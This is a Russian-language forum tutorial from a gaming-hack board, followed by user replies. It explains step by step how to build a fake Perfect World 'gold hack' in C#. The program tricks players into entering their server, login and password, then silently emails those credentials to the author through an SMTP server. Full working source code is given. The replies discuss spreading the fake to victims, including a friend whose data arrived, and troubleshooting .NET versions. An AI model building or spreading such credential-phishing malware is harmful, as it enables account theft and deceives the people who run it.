Игра, для которой будем делать фейк – Perfect World.
В данном гайде, я научу вас, как быстро сделать простой фейк, с помощью которого, обманом вы получите логин и пароль жертвы.
Для создания фейка нам потребуется:
Microsoft Visual Studio 2003 или 2005 или 2008 или 2010 (Лично я использую последнюю версию среды - 2010)
Свободное время и желание
Приступаем к созданию:
Откройте студию, создайте новый проект Visual C# -> Windows -> Windows Forms Application
Назовем наш проект GoldHackFake;
Местоположение проекта выберите самостоятельно.
После создания проекта, он автоматически откроется, и перед вами предстанет дизайнер формы Form1.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Это будет наша основная форма, с которой будет работать пользователь.
Давайте нажмем F5.
Поздравляю, вы увидели своё приложение в работе, но форма появилась не по центру экрана и какая-то пустая, как то не красиво, да?
Давайте это исправим.
Для этого закроем наше приложение (Нажатием на крестик справа вверху нашего приложения )
Кликнем по нашей форме в дизайнере, чтобы выделить её и переведем взгляд на панель Properties.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Отыщем там свойство StartPosition и поставим значение CenterScreen.
Не уходя из свойств формы, сразу изменим и другие её свойства:
FormBorderStyle = FixedSingle - запрещаем пользователю изменить размер формы, потянув за какой-то край.
Теперь еще раз нажимаем F5 и смотрим, что же у нас получилось.
Посмотрели, порадовались, что у нас уже что-то получается. Чтож, идем дальше.
По сколько фейк я назвал GoldHack, из названия делаем выводы, что фейк у нас будет якобы добавлять голд в шоп.
Накидаем на форму контролов(Элементов управления), которые нам понадобятся в работе. Перетаскиваем их с панели ToolBox.
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
Вы можете накидать каких хотите и как хотите контролов.
З.Ы. Для того, чтобы ComboBox стал таким же, как у меня на скриншоте,
необходимо изменить значение его свойства: DropDownStyle на DropDownList.
После чего, отредактируем свойство Items, добавим туда все сервера.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Приступим собственно к отправке данных:
В дизайнере 2 раза кликнув по кнопке, вы автоматически перейдете в код вашего приложения,
так же автоматически создастся метод "button1_Click", в теле которого мы собственно и будем писать нашу отправку данных.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Но, перед тем как начать писать наш метод, который будет отправлять нам данные жертвы, подключим неймспейс.
Для этого, в самом верху кода, где есть строчки
Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
Допишем
Код:
using System.Net;
using System.Net.Mail;
Это позволит нам использовать классы, расположенные в System.Net и System.Net.Mail без надобности писать эти длинные слова каждый раз.
Теперь собственно сам код отправки:
Код:
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "password"); // Указываем логин и пароль для авторизации
string msgFrom = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; // Указываем поле, от кого письмо
string msgTo = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Письмо из c#"; // Указываем тему пиьсма
string msgBody = String.Format("Нубик попался :-)\n\nСервер: {0}\nЛогин: {1}\nПароль: {2}",
comboBox1.SelectedItem.ToString(), textBox1.Text, textBox2.Text); // Тут мы формируем тело письма, передаем выбранный сервер, логин и пароль.
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше
try
{
client.Send(msg); // Отправляем письмо
}
catch { }
Весь код класса целиком:
Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace GoldHackFake
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
comboBox1.SelectedIndex = 0;
}
private void button1_Click(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "password");
string msgFrom = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgTo = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgSubject = "Письмо из c#";
string msgBody = String.Format("Нубик попался :-)\n\nСервер: {0}\nЛогин: {1}\nПароль: {2}",
comboBox1.SelectedItem.ToString(), textBox1.Text, textBox2.Text);
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
try
{
client.Send(msg);
}
catch { }
}
}
}
Вот результат, который мы получим после нажатия на кнопку:
[Ссылки могут видеть только зарегистрированные пользователи. ]
Надеюсь этот гайд будет вам полезен.
С уважением TBX1n.
________________ Fireball - Быстрое снятие и загрузка скриншотов на хостинг.
Последний раз редактировалось Leo_ня; 12.06.2010 в 22:50.
Задавайте свои вопросы TBX1n'у в ICQ. Здесь вам вряд ли кто поможет, потому что никто в C# не разбирается, а TBX1n сейчас отдыхает на море
И да. Используйте MS Visual Studio 2008. Судя по отзывам, в ней будет меньше проблем. Где скачать? [Ссылки могут видеть только зарегистрированные пользователи. ]
Там выберите Visual Studio 2008 Professional Russian.
А эта прога точно обязательно должна быть у "жертвы"?
Я сделал другу фейк другой у него net frameworkа нет, а он запустил фейк и попробовал отправить данные -на почту все приходит...
Он реально утверждает что net frameworkа у него нет!
Либо он , либо ты писал прогу не на C#. Для прог на сишарпе обязателен фреймворк.
Groboid, при создании проекта, вы выбираете таргет версию фреймворка: 2.0, 3.0 и т.д.
Так же, уже после создания проекта можно изменить версию фреймворка, на которой основан проект в свойсвах проекта, но надо помнить об обратной совместимости (Если вы используете нововведения 3.0+, то откатится до 2.0 у вас просто так не получится)
________________ Fireball - Быстрое снятие и загрузка скриншотов на хостинг.
Создал фейк, всё норм, кроме того, что когда фейк открывают у некоторых пишет, что требует фрамеворк 4, пробовал в Project поставить фрамеворк 2 и 3.5, он обратно ставиться на 4...подскажите в чём траблы?
З.Ы айм наб в создании фейков.
________________
Цитата:
Сообщение от MaTEMAtika(2)
ты кого блин ПОЦОНАМИ называешь,жаль что я не рядом с тобой,щас бы по больницам валялся...